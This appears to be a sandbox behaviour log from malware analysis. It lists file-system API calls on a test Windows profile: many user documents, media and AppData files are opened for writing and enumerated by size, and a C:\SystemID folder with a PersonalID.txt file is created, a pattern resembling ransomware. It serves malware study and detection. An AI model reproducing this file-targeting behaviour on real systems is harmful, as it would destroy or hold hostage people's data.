Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\iLDfMT-sIIIvIAfERs.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\qBW-L1i6OoAjVg 7.pdf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\vRv2.xls desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\YF J4bS.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\59FeHWyWayuevb4_iZgP.xls desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\5ql kIynSYxUiIp2nSZ.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\b-VMJ_WiRX.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\dxHWuw Qvopg_O.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\EX2FT7vn0tNX.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\Jtu192CsetLt.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\PSORQW3axNUPS5uQ.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\Deployment\deployment.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\jre1.7.0_45.msi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\Dswo3x81eh2\bJMM.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\Dswo3x81eh2\QxO90MxS0a794iE.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\dV-4OgHw.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\l-BZ9z46Yh.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\3O75JDME\www.google[1].xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\0oYpcgE\56-yF4GGULAUhf4UDL0L.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\0oYpcgE\nWWH1.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\HgMWObDN_T\zLV996oLAFyQZtVPKWLF.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create Directory C:\SystemID - True 1
Fn
Get Info Fiwuluco ficuxuyolu rotebisikure type = file_attributes False 502
Fn
Get Info C:\SystemID\PersonalID.txt type = file_type True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact type = size, size_out = 1178 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact type = size, size_out = 68382 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact type = size, size_out = 1171 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact type = size, size_out = 1177 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact type = size, size_out = 1174 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact type = size, size_out = 1172 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\260cK27AaAW.mp3 type = size, size_out = 32035 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe type = size, size_out = 508416 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9HKDKJPWcbZp3.rtf type = size, size_out = 88688 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\a3aopYTabt2PqX.mp4 type = size, size_out = 28833 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CnGwikB4ixpjleaou.wav type = size, size_out = 38150 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c_N92I4.mkv type = size, size_out = 46432 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gAGIpgNn-ah_P.mp4 type = size, size_out = 60093 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\hBtij2XxjeIr.jpg type = size, size_out = 58556 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\iG6P2_66c9kPrLMe.m4a type = size, size_out = 100995 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\I_Fs9J3.wav type = size, size_out = 77928 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\j WmU7ker3Iej.mp3 type = size, size_out = 48808 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Krb2lboJPMb.m4a type = size, size_out = 44576 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nk Bv.png type = size, size_out = 30585 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nU7U5gg9puyk9 ks9j.mp3 type = size, size_out = 86484 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\pSR 950o t1F-.mp4 type = size, size_out = 74738 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rrFPXj-iFL_y.gif type = size, size_out = 59194 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\s8Ur5b0FR5.xlsx type = size, size_out = 99884 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\we5v8X.jpg type = size, size_out = 46458 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wkj-WJ_BWT6jKq0jb8L.mp3 type = size, size_out = 21889 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Yhvz3du1L4T.flv type = size, size_out = 63386 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\YN0nlMxLgsxDN89Wvw.mp3 type = size, size_out = 35011 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z1ijPRENeZM bVg.flv type = size, size_out = 96613 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\AFpOY4r3P4.pptx type = size, size_out = 41886 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\aoCKhNvwPg7 G_EglTRd.pptx type = size, size_out = 40383 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cziIE32ag xe.ots type = size, size_out = 48481 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\k1_TmsZisgvN4S.pptx type = size, size_out = 38226 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\KnsOJGoYLE.docx type = size, size_out = 89341 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\MKWv2Lnto6B0LC.xlsx type = size, size_out = 101608 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\mlUXviQ806vyLllkB.xlsx type = size, size_out = 99573 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\nasLdS_jK7TsrsDLk.docx type = size, size_out = 45441 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\O6M7.pptx type = size, size_out = 17163 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\qMPNA1vbVY9_-nAG.docx type = size, size_out = 22359 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\r29okez.docx type = size, size_out = 16446 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\rtNG.xlsx type = size, size_out = 37642 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\vC7KMK.xlsx type = size, size_out = 99695 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\WKJRVuyD0u.pptx type = size, size_out = 31138 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\xf1du7.docx type = size, size_out = 96718 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yuc5.xlsx type = size, size_out = 102273 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\BBd0_QQoq.m4a type = size, size_out = 55746 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\MYpigepqn9YR5BOM.m4a type = size, size_out = 46981 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\zRnyvk1zYM68.m4a type = size, size_out = 83515 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\5IXrK DSsOCkwaq.jpg type = size, size_out = 57061 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\76ig.bmp type = size, size_out = 72532 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\f7xAj.bmp type = size, size_out = 20893 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\gn8pgpO apgbtvLWe.gif type = size, size_out = 19281 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\wJHhfbHtkszmHxL4z.png type = size, size_out = 7498 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\akc2Tx3.mp4 type = size, size_out = 66004 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\AkCMeTFe6MkALeUsdVH.flv type = size, size_out = 50067 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\D0d5R.avi type = size, size_out = 60213 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\qQZuqvR.flv type = size, size_out = 93604 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\yCpGa3HU4ZK.mp4 type = size, size_out = 68638 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\Z9p5.mp4 type = size, size_out = 81240 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\Im4nv.jpg type = size, size_out = 31447 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\R6wEXsUw0FREp4.bmp type = size, size_out = 23503 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XfvoPRf DQX9svVyoZ.swf type = size, size_out = 79003 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XnAaV.jpg type = size, size_out = 84100 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\fR_RDv.mkv type = size, size_out = 12422 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\ILhT5zZ.png type = size, size_out = 64000 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\pfRFKMTfN10.flv type = size, size_out = 5469 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\9fRp-4.flv type = size, size_out = 37027 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\wHKNWO5Q.xlsx type = size, size_out = 63627 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\fgxmTkEjRL27_o2q72fI.pptx type = size, size_out = 84897 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\IBpqG xe.pptx type = size, size_out = 33891 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\KNu0v4uNuDK.ppt type = size, size_out = 35001 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\LqsXYT88UnYHPGG.odp type = size, size_out = 55202 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\_IRX.ots type = size, size_out = 26347 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\Favorites.vss type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst type = size, size_out = 271360 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\f8r--X3OSbeFEYiVN.rtf type = size, size_out = 44294 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\R1kbSLdh_IvtktRmk7t.pdf type = size, size_out = 34996 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\VFBl.odt type = size, size_out = 23497 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url type = size, size_out = 236 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url type = size, size_out = 226 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url type = size, size_out = 134 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\0CFbxAy-0SvJS.mp3 type = size, size_out = 99309 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\GHOfFfFzI8.mp3 type = size, size_out = 94802 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\hFVVS1xw-2S_rl9p.wav type = size, size_out = 63287 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\IXZXtSgfL.m4a type = size, size_out = 43206 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\6PEBEYDG2Dl Ypm.m4a type = size, size_out = 51014 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\kn7-WiFR3rujU.wav type = size, size_out = 93617 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\sphBhtbT_QiWSj7\aYWMtsRSMh4xlAF.mp3 type = size, size_out = 31292 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\sphBhtbT_QiWSj7\z0DV-nH713.mp3 type = size, size_out = 55136 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\XkpT\Uag_IA1McKV7kb4hkLtv.mp3 type = size, size_out = 84235 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\XkpT\UIAiOYKV.mp3 type = size, size_out = 86281 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\3oPkmG2kZIXytM.mp3 type = size, size_out = 53877 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\fg5Tftc5bYHg.m4a type = size, size_out = 40617 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\FVUMXkiyq2-WfIZg4u.mp3 type = size, size_out = 69214 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\QZHW.wav type = size, size_out = 64550 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\uJ3cV5w.mp3 type = size, size_out = 96951 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\j5qSofvzE 2tyS.jpg type = size, size_out = 14476 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\orTEBhay2M.jpg type = size, size_out = 74908 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\tThj-wykSa.bmp type = size, size_out = 15197 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-pcR.gif type = size, size_out = 58421 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\05G_LmHEj.png type = size, size_out = 74961 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\Ui1Z5x.jpg type = size, size_out = 24037 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\yYTHpZ.gif type = size, size_out = 57936 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\28siJ1ZaOTT jFmj9.swf type = size, size_out = 80439 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\C7RDGhTmRw.flv type = size, size_out = 18266 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\DF7W-ioIXDGyi.mp4 type = size, size_out = 5973 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\lGFkkME zcgUcKPwW.swf type = size, size_out = 94528 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\Mlv U.mp4 type = size, size_out = 50385 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\P9Cjj3pY.avi type = size, size_out = 41899 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\QYJjEVaChD.mp4 type = size, size_out = 20416 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\uEaYKvIwFNXXcH.avi type = size, size_out = 58252 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\_DV1djZRO6HrvdW.mkv type = size, size_out = 57698 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\7G92TLT2aibLnqW9.wav type = size, size_out = 76580 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\dzqnkLYWkOSFhsfv3iD.avi type = size, size_out = 38457 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\mbb0w07kHww2pr82rg.jpg type = size, size_out = 13654 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\3gAPurutQ.swf type = size, size_out = 25956 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\IqJdt.wav type = size, size_out = 10947 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\KKFvXL.bmp type = size, size_out = 14864 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\R1x5k3YmCRal8c.avi type = size, size_out = 63956 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\GqakYJ2tn.csv type = size, size_out = 11669 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\iYOC0ixnRNev.ods type = size, size_out = 94673 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\xsO51AJTi7MU9pz.pps type = size, size_out = 77158 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico type = size, size_out = 29926 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\33JwnX15M.doc type = size, size_out = 35492 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\CyQ1zELUPbdOjYz ywT.docx type = size, size_out = 7637 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\fs6kSG1.odp type = size, size_out = 70623 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\gM98N.pptx type = size, size_out = 93520 True 1
Fn
